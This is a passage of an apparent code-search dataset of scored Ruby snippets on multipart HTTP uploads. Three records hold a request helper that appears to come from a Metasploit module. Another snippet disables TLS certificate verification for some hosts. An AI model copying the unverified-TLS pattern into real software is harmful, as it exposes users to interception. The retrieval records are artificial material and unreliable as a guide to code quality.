Rack::Test::UploadedFile.new(file_path, type)\nend", "title": "" }, { "docid": "b1c61666675d5d5b22cd49193b3e7f37", "score": "0.6879134", "text": "def file_upload(filename)\n type = 'text/plain'\n file_path = Rails.root.join('spec/fixtures/', filename)\n Rack::Test::UploadedFile.new(file_path, type)\nend", "title": "" }, { "docid": "d34afa84d827580e7421b64db7495bcd", "score": "0.68352723", "text": "def test_multipart_param_rewound\n params = process('text_file')\n assert_equal 'bar', @cgi.params['foo'][0].read\n end", "title": "" }, { "docid": "ac4eb21a7c559d9fe4a79f5773898e54", "score": "0.68256027", "text": "def test_multipart_form_data_with_mixed_entity\n txt = MIME::Text.new('Joe Blow')\n img1 = MIME::DiscreteMediaFactory.create(sd('image.jpg'))\n img2 = MIME::DiscreteMediaFactory.create(sd('ruby.png'))\n\n mixed_msg = MIME::Multipart::Mixed.new\n mixed_msg.attach(img1)\n mixed_msg.attach(img2)\n\n form = MIME::Multipart::FormData.new\n form.add(txt, 'field1')\n form.add(mixed_msg, 'pics')\n\n assert_equal_mime_msg 'multipart_form_data_mixed', form\n end", "title": "" }, { "docid": "185021b2bf1445b0753fea7c947a8818", "score": "0.67956567", "text": "def test_multipart\n atom = Deposit::SwordClient::AtomEntry.new\n multi = Deposit::SwordClient::MultiPart.new(atom, \"#{TEST_FIXTURES_DIR}/example.zip\")\n FileUtils.cp(multi.filepath,\"#{TEST_OUTPUT_DIR}/multi.dat\") \n assert_not_nil multi\n end", "title": "" }, { "docid": "9fe000942893ffc30cac65cb4d1cc6ce", "score": "0.6789351", "text": "def fixture_file_upload(*args, **kwargs)\n Rack::Test::UploadedFile.new(*args, **kwargs)\n end", "title": "" }, { "docid": "c345b6ea1a25a74f6f6bee39cbede0a9", "score": "0.6773707", "text": "def multipart_post(path, params = {}, env = {})\n env[:method] = \"POST\"\n multipart_request(path, params, env)\n end", "title": "" }, { "docid": "80b3991fb449e6b3e824aac9a0463af4", "score": "0.67494714", "text": "def prepare_multipart_request(params)\n begin\n file = File.open params['filePath'], 'r'\n text = file.read\n rescue StandardError => e\n raise RosetteAPIError.new('readMultipartError', e)\n end\n\n boundary = SecureRandom.hex\n post_body = []\n params.delete 'filePath'\n request_file = params.to_json\n\n # Add the content data\n post_body << \"--#{boundary}\\r\\n\"\n post_body << 'Content-Disposition: form-data; name=\"content\"; ' \\\n \"filename=\\\"#{File.basename(file)}\\\"\\r\\n\"\n post_body << \"Content-Type: text/plain\\r\\n\\r\\n\"\n post_body << text\n\n # Add the request data\n post_body << \"\\r\\n\\r\\n--#{boundary}\\r\\n\"\n post_body << \"Content-Disposition: form-data; name=\\\"request\\\"\\r\\n\"\n post_body << \"Content-Type: application/json\\r\\n\\r\\n\"\n post_body << request_file\n post_body << \"\\r\\n\\r\\n--#{boundary}--\\r\\n\"\n\n # Create the HTTP objects\n begin\n uri = URI.parse @alternate_url\n request = Net::HTTP::Post.new uri.request_uri\n rescue StandardError\n # Not ideal. Consider switching to a different library.\n # https://stackoverflow.com/a/11802674\n raise RosetteAPIError.new(\n 'connectionError',\n 'Failed to establish connection with Rosette API server.'\n )\n end\n\n # add any custom headers from the user\n unless params['customHeaders'].nil?\n keys_array = params['customHeaders'].keys\n keys_array.each do |k|\n if k.to_s =~ /^X-RosetteAPI-/\n request.add_field k, params['customHeaders'][k]\n else\n raise RosetteAPIError.new(\n 'invalidHeader',\n 'Custom header must begin with \"X-RosetteAPI-\"'\n )\n end\n end\n params.delete 'customHeaders'\n end\n\n request.add_field 'Content-Type',\n \"multipart/form-data; boundary=#{boundary}\"\n request.add_field 'User-Agent', @user_agent\n request.add_field 'X-RosetteAPI-Key', @user_key\n request.add_field 'X-RosetteAPI-Binding', 'ruby'\n request.add_field 'X-RosetteAPI-Binding-Version', @binding_version\n request.body = post_body.join\n\n [@http_client, request]\n end", "title": "" }, { "docid": "5ad1432be016ceeffc1504422042eee9", "score": "0.6743562", "text": "def test_multipart_form_data_with_text_entities\n txt_data = 'text body'\n htm_data = IO.read(sd('data.htm'))\n xml_data = IO.read(sd('data.xml'))\n\n txt = MIME::Text.new(txt_data)\n htm = MIME::Text.new(htm_data, 'html')\n xml = MIME::Text.new(xml_data, 'xml')\n\n form = MIME::Multipart::FormData.new\n form.add xml, 'xml'\n form.add htm, 'htm'\n form.add txt, 'txt'\n assert_equal_mime_msg 'multipart_form_data_text', form\n end", "title": "" }, { "docid": "8f1533de435feaaa43ee576abf1f3127", "score": "0.67379946", "text": "def http_post_multipart(url, data, headers = {}, timeout = 15)\n\t\t\n\t\t# Boundary string\n\t\tbndr = Rex::Text.rand_text_alphanumeric(8)\n\t\t\n\t\t# Protocol\n\t\tproto = datastore['SSL'] ? 'https': 'http' \n\t\n\t\t# Determine request url\n\t\turl = url.length ? url: ''\n\t\t\n\t\t# Determine User-Agent\n\t\theaders['User-Agent'] = headers['User-Agent'] ? \n\t\theaders['User-Agent'] : datastore['AGNT']\n\t\t\n\t\t# Determine Content-Type\n\t\theaders['Content-Type'] = headers['Content-Type'] ? \n\t\theaders['Content-Type'] : \"multipart/form-data; boundary=#{bndr}\"\n\t\t\n\t\t# Determine Referer\n\t\theaders['Referer'] = headers['Referer'] ? \n\t\theaders['Referer'] : \"#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}\"\n\n\t\t# Delete all the null headers\n\t\theaders.each do | hkey, hval |\n\t\t\n\t\t\t# Null value\n\t\t\tif ( !hval )\n\t\t\t\n\t\t\t\t# Delete header key\n\t\t\t\theaders.delete(hkey)\n\t\t\tend\n\t\tend\n\n\t\t# Init\n\t\ttemp = ''\n\t\t\n\t\t# Parse form values\n\t\tdata.each do |name, value|\n\t\t\n\t\t\t# Hash means file data\n\t\t\tif ( value.is_a?(Hash) )\n\n\t\t\t\t# Validate form fields\n\t\t\t\tfilename = value['filename'] ? value['filename']: init_debug(\"Filename value missing from #{name}\", 1)\n\t\t\t\tcontents = value['contents'] ? value['contents']: init_debug(\"Contents value missing from #{name}\", 1)\n\t\t\t\tmimetype = value['mimetype'] ? value['mimetype']: init_debug(\"Mimetype value missing from #{name}\", 1)\n\t\t\t\tencoding = value['encoding'] ? value['encoding']: \"Binary\"\n\n\t\t\t\t# Build multipart data\n\t\t\t\ttemp << \"--#{bndr}\\r\\n\"\n\t\t\t\ttemp << \"Content-Disposition: form-data; name=\\\"#{name}\\\"; filename=\\\"#{filename}\\\"\\r\\n\"\n\t\t\t\ttemp << \"Content-Type: #{mimetype}\\r\\n\"\n\t\t\t\ttemp << \"Content-Transfer-Encoding: #{encoding}\\r\\n\"\n\t\t\t\ttemp << \"\\r\\n\"\n\t\t\t\ttemp << \"#{contents}\\r\\n\"\n\t\t\t\t\n\t\t\telse\n\t\t\t\t# Build multipart data\n\t\t\t\ttemp << \"--#{bndr}\\r\\n\"\n\t\t\t\ttemp << \"Content-Disposition: form-data; name=\\\"#{name}\\\";\\r\\n\"\n\t\t\t\ttemp << \"\\r\\n\"\n\t\t\t\ttemp << \"#{value}\\r\\n\"\n\t\t\tend\n\t\tend\n\t\t\n\t\t# Complete the form data\n\t\ttemp << \"--#{bndr}--\\r\\n\"\n\t\t\n\t\t# Assigned\n\t\tdata = temp\t\n\t\t\n\t\t# Determine Content-Length\n\t\theaders['Content-Length'] = data.length\n\t\t\n\t\t# Send request\n\t\tresp = send_request_raw(\n\t\t{\n\t\t\t'uri' => datastore['JDIR'] + url,\n\t\t\t'method' => 'POST',\n\t\t\t'data' => data,\n\t\t\t'headers' => headers\n\t\t}, \n\t\ttimeout)\n\t\t\n\t\t# Returned\n\t\treturn resp\n\t\t\n\tend", "title": "" }, { "docid": "3ee3323735bfb15c76d721dd2a5dd832", "score": "0.6725063", "text": "def multipart_post(url, contents, field = 'file', mimetype = \"application/json\")\n c = Curl::Easy.new(@party.default_options[:base_uri] + url.to_s)\n c.multipart_form_post = true\n\n c.userpwd = @party.default_options[:basic_auth][:username] +\n \":\" + @party.default_options[:basic_auth][:password]\n c.http_post(Curl::PostField.content(field, contents, mimetype))\n\n return JSON.parse(c.body_str)\n end", "title": "" }, { "docid": "b66f1a6f1e0af536d33ab089cac099cb", "score": "0.67009526", "text": "def http_post_multipart(url, data, headers = {}, timeout = 15)\r\n\t\t\r\n\t\t# Boundary string\r\n\t\tbndr = Rex::Text.rand_text_alphanumeric(8)\r\n\t\t\r\n\t\t# Protocol\r\n\t\tproto = datastore['SSL'] ? 'https': 'http' \r\n\t\r\n\t\t# Determine request url\r\n\t\turl = url.length ? url: ''\r\n\t\t\r\n\t\t# Determine User-Agent\r\n\t\theaders['User-Agent'] = headers['User-Agent'] ? \r\n\t\theaders['User-Agent'] : datastore['AGNT']\r\n\t\t\r\n\t\t# Determine Content-Type\r\n\t\theaders['Content-Type'] = headers['Content-Type'] ? \r\n\t\theaders['Content-Type'] : \"multipart/form-data; boundary=#{bndr}\"\r\n\t\t\r\n\t\t# Determine Referer\r\n\t\theaders['Referer'] = headers['Referer'] ? \r\n\t\theaders['Referer'] : \"#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}\"\r\n\r\n\t\t# Delete all the null headers\r\n\t\theaders.each do | hkey, hval |\r\n\t\t\r\n\t\t\t# Null value\r\n\t\t\tif ( !hval )\r\n\t\t\t\r\n\t\t\t\t# Delete header key\r\n\t\t\t\theaders.delete(hkey)\r\n\t\t\tend\r\n\t\tend\r\n\r\n\t\t# Init\r\n\t\ttemp = ''\r\n\t\t\r\n\t\t# Parse form values\r\n\t\tdata.each do |name, value|\r\n\t\t\r\n\t\t\t# Hash means file data\r\n\t\t\tif ( value.is_a?(Hash) )\r\n\r\n\t\t\t\t# Validate form fields\r\n\t\t\t\tfilename = value['filename'] ? value['filename']: init_debug(\"Filename value missing from #{name}\", 1)\r\n\t\t\t\tcontents = value['contents'] ? value['contents']: init_debug(\"Contents value missing from #{name}\", 1)\r\n\t\t\t\tmimetype = value['mimetype'] ? value['mimetype']: init_debug(\"Mimetype value missing from #{name}\", 1)\r\n\t\t\t\tencoding = value['encoding'] ? value['encoding']: \"Binary\"\r\n\r\n\t\t\t\t# Build multipart data\r\n\t\t\t\ttemp << \"--#{bndr}\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Disposition: form-data; name=\\\"#{name}\\\"; filename=\\\"#{filename}\\\"\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Type: #{mimetype}\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Transfer-Encoding: #{encoding}\\r\\n\"\r\n\t\t\t\ttemp << \"\\r\\n\"\r\n\t\t\t\ttemp << \"#{contents}\\r\\n\"\r\n\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\t# Build multipart data\r\n\t\t\t\ttemp << \"--#{bndr}\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Disposition: form-data; name=\\\"#{name}\\\";\\r\\n\"\r\n\t\t\t\ttemp << \"\\r\\n\"\r\n\t\t\t\ttemp << \"#{value}\\r\\n\"\r\n\t\t\tend\r\n\t\tend\r\n\t\t\r\n\t\t# Complete the form data\r\n\t\ttemp << \"--#{bndr}--\\r\\n\"\r\n\t\t\r\n\t\t# Assigned\r\n\t\tdata = temp\t\r\n\t\t\r\n\t\t# Determine Content-Length\r\n\t\theaders['Content-Length'] = data.length\r\n\t\t\r\n\t\t# Send request\r\n\t\tresp = send_request_raw(\r\n\t\t{\r\n\t\t\t'uri' => datastore['JDIR'] + url,\r\n\t\t\t'method' => 'POST',\r\n\t\t\t'data' => data,\r\n\t\t\t'headers' => headers\r\n\t\t}, \r\n\t\ttimeout)\r\n\t\t\r\n\t\t# Returned\r\n\t\treturn resp\r\n\t\t\r\n\tend", "title": "" }, { "docid": "dd06517672bced6ebcc4c5c5f25ebfb6", "score": "0.66931486", "text": "def http_post_multipart(url, data, headers = {}, timeout = 15)\r\n\t\t\r\n\t\t# Boundary string\r\n\t\tbndr = Rex::Text.rand_text_alphanumeric(8)\r\n\t\t\r\n\t\t# Protocol\r\n\t\tproto = datastore['SSL'] ? 'https': 'http'\r\n\t\r\n\t\t# Determine request url\r\n\t\turl = url.length ? url: ''\r\n\t\t\r\n\t\t# Determine User-Agent\r\n\t\theaders['User-Agent'] = headers['User-Agent'] ?\r\n\t\theaders['User-Agent'] : datastore['AGNT']\r\n\t\t\r\n\t\t# Determine Content-Type\r\n\t\theaders['Content-Type'] = headers['Content-Type'] ?\r\n\t\theaders['Content-Type'] : \"multipart/form-data; boundary=#{bndr}\"\r\n\t\t\r\n\t\t# Determine Referer\r\n\t\theaders['Referer'] = headers['Referer'] ?\r\n\t\theaders['Referer'] : \"#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}\"\r\n\t\t\r\n\t\t# Delete all the null headers\r\n\t\theaders.each do | hkey, hval |\r\n\t\t\r\n\t\t\t# Null value\r\n\t\t\tif ( !hval )\r\n\t\t\t\r\n\t\t\t\t# Delete header key\r\n\t\t\t\theaders.delete(hkey)\r\n\t\t\tend\r\n\t\tend\r\n\t\t\r\n\t\t# Init\r\n\t\ttemp = ''\r\n\t\t\r\n\t\t# Parse form values\r\n\t\tdata.each do |name, value|\r\n\t\t\r\n\t\t\t# Hash means file data\r\n\t\t\tif ( value.is_a?(Hash) )\r\n\t\t\t\t\r\n\t\t\t\t# Validate form fields\r\n\t\t\t\tfilename = value['filename'] ? value['filename']:\r\n\t\t\t\t\t\t init_debug(\"Filename value missing from #{name}\", 1)\r\n\t\t\t\tcontents = value['contents'] ? value['contents']:\r\n\t\t\t\t\t\t init_debug(\"Contents value missing from #{name}\", 1)\r\n\t\t\t\tmimetype = value['mimetype'] ? value['mimetype']:\r\n\t\t\t\t\t\t init_debug(\"Mimetype value missing from #{name}\", 1)\r\n\t\t\t\tencoding = value['encoding'] ? value['encoding']: \"Binary\"\r\n\t\t\t\t\r\n\t\t\t\t# Build multipart data\r\n\t\t\t\ttemp << \"--#{bndr}\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Disposition: form-data; name=\\\"#{name}\\\"\r\n\t\t\t\t\t; filename=\\\"#{filename}\\\"\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Type: #{mimetype}\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Transfer-Encoding: #{encoding}\\r\\n\"\r\n\t\t\t\ttemp << \"\\r\\n\"\r\n\t\t\t\ttemp << \"#{contents}\\r\\n\"\r\n\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\t# Build multipart data\r\n\t\t\t\ttemp << \"--#{bndr}\\r\\n\"\r\n\t\t\t\ttemp << \"Content-Disposition: form-data; name=\\\"#{name}\\\";\\r\\n\"\r\n\t\t\t\ttemp << \"\\r\\n\"\r\n\t\t\t\ttemp << \"#{value}\\r\\n\"\r\n\t\t\tend\r\n\t\tend\r\n\t\t\r\n\t\t# Complete the form data\r\n\t\ttemp << \"--#{bndr}--\\r\\n\"\r\n\t\t\r\n\t\t# Assigned\r\n\t\tdata = temp\r\n\t\t\r\n\t\t# Determine Content-Length\r\n\t\theaders['Content-Length'] = data.length\r\n\t\t\r\n\t\t# Send request\r\n\t\tresp = send_request_raw(\r\n\t\t{\r\n\t\t\t'uri' => datastore['JDIR'] + url,\r\n\t\t\t'method' => 'POST',\r\n\t\t\t'data' => data,\r\n\t\t\t'headers' => headers\r\n\t\t}, \r\n\t\ttimeout)\r\n\t\t\r\n\t\t# Returned\r\n\t\treturn resp\r\n\t\t\r\n\tend", "title": "" }, { "docid": "7479e21c424dcf4c36916bc56d30e304", "score": "0.6678825", "text": "def post_multipart(url, fields, files)\n\n\turi = URI.parse(url)\n\thttp = Net::HTTP.new(uri.host, uri.port)\n\trequest = Net::HTTP::Post.new(uri.request_uri)\n\tcontent_type, body = encode_multipart(fields, files)\n\trequest.body = body\n\n\trequest[\"Content-Type\"] = content_type\n\trequest[\"User-Agent\"] = \"Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0\"\n\t#request[\"Content-Length\"] = body.length\n\t#request[\"Accept-Encoding\"] = 'gzip, deflate'\n\t#request[\"Referer\"] = 'http://lab.ocrking.com'\n\t#request[\"Accept\"] = '*/*'\n\t#request[\"Connection\"] = 'keep-alive'\n\n\treturn http.request(request)\n\nend", "title": "" }, { "docid": "2def4b5249f9a65b9d826c4c3a5fbaf6", "score": "0.6658099", "text": "def test_save_photos\n params = {:id=>\"816717565610925385\",:upload_files=>{\"f1\"=>uploaded_file(\"c:/temp/m.zip\")}}\n \n\n end", "title": "" }, { "docid": "6e45b2c7d224ada94a53c663511e6557", "score": "0.66414815", "text": "def perform_study_file_upload(filename, study_file_params, study_id)\n file_upload = Rack::Test::UploadedFile.new(Rails.root.join('test', 'test_data', filename))\n study_file_params[:study_file].merge!(upload: file_upload)\n patch \"/single_cell/studies/#{study_id}/upload\", params: study_file_params, headers: {'Content-Type' => 'multipart/form-data'}\nend", "title": "" }, { "docid": "8e9f75021c961768e2270f72b3064eb6", "score": "0.66213244", "text": "def multipart_form_post url, file_path \n newline = \"\\r\\n\"\n filename = File.basename(file_path)\n boundary = \"----------#{Time.now.nsec}\"\n \n uri = URI.parse(url)\n \n post_body = []\n post_body << \"--#{boundary}#{newline}\"\n post_body << \"Content-Disposition: form-data; name=\\\"File1\\\"; filename=\\\"#{filename}\\\"#{newline}\"\n post_body << \"Content-Type: application/octet-stream#{newline}\"\n post_body << \"#{newline}\"\n post_body << File.read(file_path)\n post_body << \"#{newline}--#{boundary}--#{newline}\"\n \n request = Net::HTTP::Post.new(uri.request_uri)\n request.body = post_body.join\n request[\"Content-Type\"] = \"multipart/form-data, boundary=#{boundary}\"\n request['Content-Length'] = request.body().length\n \n http = Net::HTTP.new uri.host, uri.port\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n \n response = http.request request\n return response\nend", "title": "" }, { "docid": "72c128a830bb9f5e4184e342083f1051", "score": "0.66028744", "text": "def mock_file_upload(filename, type)\n mock_path = Rails.root.join('spec', 'mockdata', filename)\n return ActionDispatch::Http::UploadedFile.new(:tempfile => File.new(mock_path , :type => type, :filename => filename))\nend", "title": "" }, { "docid": "498cce2fa1456993ac0784c4e3c23177", "score": "0.6557304", "text": "def content_type\n \"multipart/form-data;\"\n end", "title": "" }, { "docid": "28c6be62ef275833d3b3861fbf37981d", "score": "0.65356994", "text": "def set_up_post_request(uri, data, headers, binary_key = nil)\n if !binary_key.nil?\n binary_data = data[binary_key]\n\n if binary_data.is_a?(StringIO)\n data[binary_key] = UploadIO.new(\n binary_data, \"text/plain\", \"local.path\"\n )\n else\n data[binary_key] = UploadIO.new(\n File.open(binary_data), \"text/plain\"\n )\n end\n\n req = Net::HTTP::Post::Multipart.new(uri.path, data)\n else\n req = Net::HTTP::Post.new(uri.path, headers)\n req.set_form_data(data)\n end\n req\n end", "title": "" }, { "docid": "f2207bba0afda5f5814809718229c67b", "score": "0.65292156", "text": "def mock_file(name)\n file = File.new(\"#{Rails.root}/spec/fixtures/files/\" + name,\"r\")\n vfile = ActionDispatch::Http::UploadedFile.new(\n :filename => name,\n :type => \"application/pdf\",\n :head => \"Content-Disposition: form-data;\n name=\\\"bill\\\"; \n filename=\\\"\" + name + \"\\\" \n Content-Type: application/pdf\\r\\n\",\n :tempfile => file)\n return vfile\nend", "title": "" }, { "docid": "c458af62fb1aa480eae1151ca150771f", "score": "0.6528058", "text": "def perform_study_file_upload(filename, study_file_params, study_id)\n source_file = File.open(Rails.root.join('test', 'test_data', filename))\n file_upload = Rack::Test::UploadedFile.new(source_file)\n begin\n study_file_params[:study_file].merge!(upload: file_upload)\n patch \"/single_cell/studies/#{study_id}/upload\", params: study_file_params, headers: {'Content-Type' => 'multipart/form-data'}\n ensure\n source_file.close\n file_upload.unlink if file_upload.present?\n end\nend", "title": "" }, { "docid": "d242bd5a7ae366a28f928d955b12f02c", "score": "0.6527519", "text": "def http_multipart_data(params) #:nodoc:\n crlf = \"\\r\\n\"\n body = \"\"\n headers = {}\n \n boundary = \"x\" + Time.now.to_i.to_s(16)\n \n headers[\"Content-Type\"] = \"multipart/form-data; boundary=#{boundary}\"\n headers[\"User-Agent\"] = \"RTunesU/#{RTunesU::VERSION}\"\n params.each do |key,value|\n esc_key = key.to_s\n body << \"--#{boundary}#{crlf}\"\n \n if value.respond_to?(:read)\n mime_type = MIME::Types.type_for(value.path)[0] || MIME::Types[\"application/octet-stream\"][0]\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"; filename=\\\"#{::File.basename(value.path)}\\\"#{crlf}\"\n body << \"Content-Type: #{mime_type.simplified}#{crlf*2}\"\n body << value.read\n value.rewind\n else\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"#{crlf*2}#{value}\"\n end\n end\n \n body << \"#{crlf}--#{boundary}--#{crlf*2}\"\n headers[\"Content-Length\"] = body.size.to_s\n \n return [ body, headers ]\n end", "title": "" }, { "docid": "bcadd2f771960bc89d9935741153c81b", "score": "0.65056115", "text": "def post_multipart(method, params = {})\n url = make_url method, {}\n url.query = nil\n\n boundary, data = make_multipart params\n\n req = Net::HTTP::Post.new url.path\n req.content_type = \"multipart/form-data; boundary=#{boundary}\"\n req.body = data\n\n res = Net::HTTP.start url.host, url.port do |http|\n http.request req\n end\n\n body = res.body\n check_error body\n parse_response body\n rescue SystemCallError, SocketError, Timeout::Error, IOError => e\n raise CommunicationError.new(e)\n rescue Net::HTTPError => e\n check_error e.res.body\n raise CommunicationError.new(e)\n end", "title": "" }, { "docid": "b7cd714b2ab50d47cf88dbefb00c920e", "score": "0.64873934", "text": "def workhorse_post_with_file(url, file_key:, params:)\n workhorse_request_with_file(:post, url,\n file_key: file_key,\n params: params,\n env: { 'CONTENT_TYPE' => 'multipart/form-data' },\n send_rewritten_field: true\n )\n end", "title": "" }, { "docid": "2bee39d0b12ed98c860c47a4e814e93e", "score": "0.6484849", "text": "def multipart_form_post_chunk url, bytes_to_send, filename\n newline = \"\\r\\n\"\n boundary = \"----------#{Time.now.nsec}\"\n\n uri = URI.parse(url)\n\n post_body = []\n post_body << \"--#{boundary}#{newline}\"\n post_body << \"Content-Disposition: form-data; name=\\\"Filedata\\\"; filename=\\\"#{filename}\\\"#{newline}\"\n post_body << \"Content-Type: application/octet-stream#{newline}\"\n post_body << \"Content-Length: #{bytes_to_send.length}#{newline}\"\n post_body << \"#{newline}\"\n post_body << bytes_to_send\n post_body << \"#{newline}--#{boundary}--#{newline}\"\n\n request = Net::HTTP::Post.new(uri.request_uri)\n request.body = post_body.join\n request[\"Content-Type\"] = \"multipart/form-data, boundary=#{boundary}\"\n request['Content-Length'] = request.body().length\n\n http = Net::HTTP.new uri.host, uri.port\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n\n response = http.request request\n return response\nend", "title": "" }, { "docid": "146f4db315dfd2982846fef73c94caa3", "score": "0.6481451", "text": "def _news_upload(path, json, files, method)\n # name = the content name,\n # e.g. \"Resource\", \"profileImage\", \"name\", \"description\", \"file\", \"targetUsers\"\n # files = array of filenames\n # method = POST or PUT\n # json = the json appended to the end of the request body\n # auth_uri = path\n auth_uri = create_authenticated_uri(path, method)\n uri = URI.parse(auth_uri)\n\n boundary = \"xxBOUNDARYxx\"\n header = { \"Content-Type\" => \"multipart/mixed; boundary=#{boundary}\" }\n # setup the post body\n post_body = []\n post_body << \"--#{boundary}\\r\\n\"\n post_body << \"Content-Type: application/json\\r\\n\\r\\n\"\n\n post_body << json.to_json # e.g. {\"Text\" => \"Here you go\", \"Html\" => null}\n\n file_iteration = 0\n files.each do |file|\n post_body << \"\\r\\n--#{boundary}\\r\\n\"\n post_body << \"Content-Disposition: form-data; name = \\\"file #{file_iteration}\\\"; filename=\\\"#{File.basename(file)}\\\"\\r\\n\"\n post_body << \"Content-Type: text/plain\\r\\n\\r\\n\"\n post_body << File.read(file)\n file_iteration += 1\n end\n post_body << \"\\r\\n\\r\\n--#{boundary}--\\r\\n\"\n\n # Create the HTTP objects\n http = Net::HTTP.new(uri.host, uri.port)\n http.set_debug_output($stdout)\n http.use_ssl = true\n request = Net::HTTP::Post.new(uri.request_uri, header)\n request.body = post_body.join\n puts request.body\n # Send the request\n response = http.request(request)\n response.body\nend", "title": "" }, { "docid": "11852d22a9383e32ee9e1fa9f3d84030", "score": "0.6480662", "text": "def add_multipart_data(req,params)\n boundary = Time.now.to_i.to_s(16)\n req[\"Content-Type\"] = \"multipart/form-data; boundary=#{boundary}\"\n body = \"\"\n params.each do |key,value|\n esc_key = CGI.escape(key.to_s)\n body << \"--#{boundary}#{CRLF}\"\n if value.respond_to?(:read)\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"; filename=\\\"#{File.basename(value.path)}\\\"#{CRLF}\"\n body << \"Content-Type: #{mime_type(value.path)}#{CRLF*2}\"\n body << value.read\n else\n body << \"Content-Disposition: form-data; name=\\\"#{esc_key}\\\"#{CRLF*2}#{value}\"\n end\n body << CRLF\n end\n body << \"--#{boundary}--#{CRLF*2}\"\n req.body = body\n req[\"Content-Length\"] = req.body.size\nend", "title": "" }, { "docid": "3d617bf3aa4105f3f8667129784e71ac", "score": "0.6448659", "text": "def decode_as_multipart_form_data( boundary )\n # xxx: warning if invalid?\n require 'tempfile'\n pairs = []\n boundary = \"--\" + boundary\n eol = \"\\015\\012\"\n str = @escaped_query_string.gsub( /(?:\\r?\\n|\\A)#{ Regexp::quote( boundary ) }--#{ eol }.*/m, '' )\n str.split( /(?:\\r?\\n|\\A)#{ Regexp::quote( boundary ) }#{ eol }/m ).each do |part|\n headers = {}\n header, value = part.split( \"#{eol}#{eol}\", 2 )\n next unless header and value\n field_name, field_data = nil, {}\n if header =~ /Content-Disposition: form-data;.*(?:\\sname=\"([^\"]+)\")/m\n field_name = $1\n end\n if header =~ /Content-Disposition: form-data;.*(?:\\sfilename=\"([^\"]+)\")/m\n body = Tempfile.new( \"WebApp\" )\n body.binmode if defined? body.binmode\n body.print value\n body.rewind\n field_data = {'filename' => $1, 'tempfile' => body}\n field_data['type'] = $1 if header =~ /Content-Type: (.+?)(?:#{ eol }|\\Z)/m\n else\n field_data = value.gsub( /#{ eol }\\Z/, '' )\n end\n pairs << [field_name, field_data]\n end\n HTMLFormQuery.new(pairs)\n end", "title": "" }, { "docid": "98d9b6402f61616984d911f8647a0422", "score": "0.64148897", "text": "def upload_test_html\n Net::HTTP.post_form URI.parse(test_url), html: test_html\n self\n end", "title": "" }, { "docid": "cc1257fc0c59fb00f04723a8e9eeb2f1", "score": "0.64027935", "text": "def do_post page, params, audio_file, content_type, file_name\n # Set up our HTTP request\n url_path = @uri_root + page\n uri = URI(url_path)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n request = Net::HTTP::Post.new(uri.path)\n\n\n # uri = URI::join(@uri_root, page)\n # http = Net::HTTP.new(uri.host, uri.port)\n # http.use_ssl = true\n # puts http.inspect\n # request = Net::HTTP::Post.new(uri)\n \n # Add our credentials to the parameters before we construct the form\n params.update @creds\n # If we have audio, we need to construct the multipart form by hand.\n # Note: gems such as \"multipart\" or \"rest_client\" can greatly simplify this process\n if (audio_file != nil)\n\n back_file_name = \"back_#{file_name}\"\n File.open(\"#{Rails.root}/tmp/#{back_file_name}\", 'wb') do |file|\n file.write(audio_file)\n end\n\n post_body = []\n\n params.each do |k, v|\n post_body << \"--#{FORM_BOUNDARY}\\r\\n\"\n post_body << \"Content-Disposition: form-data; name=\\\"#{k}\\\"\\r\\n\\r\\n#{v}\\r\\n\"\n end\n \n post_body << \"--#{FORM_BOUNDARY}\\r\\n\"\n post_body << \"Content-Disposition: form-data; name=\\\"utterance\\\"; filename=\\\"#{file_name}\\\"\\r\\n\"\n post_body << \"Content-Type: #{content_type}\\r\\n\\r\\n\"\n post_body << audio_file\n post_body << \"\\r\\n--#{FORM_BOUNDARY}--\\r\\n\"\n \n request.content_type = \"multipart/form-data, boundary=#{FORM_BOUNDARY}\"\n request.body = post_body.join\n else\n # Much simpler if we're not doing a multipart submission!\n request.set_form_data(params) \n end\n\n\n # Do the actual HTTP post\n response = http.request(request)\n\n # And parse the XML response into a hash\n response_xml = Document.new(response.body)\n hash = {}\n response_xml.elements.each(\"response_info/*\") do |e|\n hash[e.name()] = e.text\n end\n \n # Return the populated hash\n hash \n end", "title": "" }, { "docid": "f7dbba2fd904504a0f5d06c821f21b25", "score": "0.63993824", "text": "def test_create\n file = fixture_file_upload('files/test_file.png','application/json')\n \n assert_difference('Photo.count') do\n post :create, photo: {user_id: users(:one).id, image: file }\n end\n \n assert JSON(response.body)['message'] == \"Photo was successfully added\", \"added does not pass correctly\"\n assert JSON(response.body)['status'] == \"success\", \"added photo does not return correct status\"\n end", "title": "" }, { "docid": "88066ab6f02cfa86fbe6f8bb1ed76bab", "score": "0.6380556", "text": "def do_post_for_upload(path, params, initheader = nil)\n http = Net::HTTP.new(@options[:host], 443)\n http.use_ssl = true\n if(@options[:host].start_with?(\"trig.\"))\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n else\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n end\n \n request = Net::HTTP::Post::Multipart.new(path, params, initheader)\n resp = http.start do |h|\n h.request(request)\n end\n resp\n\n raise CheetahTemporaryException, \"failure:'#{path}?#{params}', HTTP error: #{resp.code}\" if resp.code =~ /5../\n raise CheetahPermanentException, \"failure:'#{path}?#{params}', HTTP error: #{resp.code}\" if resp.code =~ /[^2]../\n raise CheetahAuthorizationException, \"failure:'#{path}?#{params}', Cheetah error: #{resp.body.strip}\" if resp.body =~ /^err:auth/\n raise CheetahTemporaryException, \"failure:'#{path}?#{params}', Cheetah error: #{resp.body.strip}\" if resp.body =~ /^err:internal error/\n raise CheetahPermanentException, \"failure:'#{path}?#{params}', 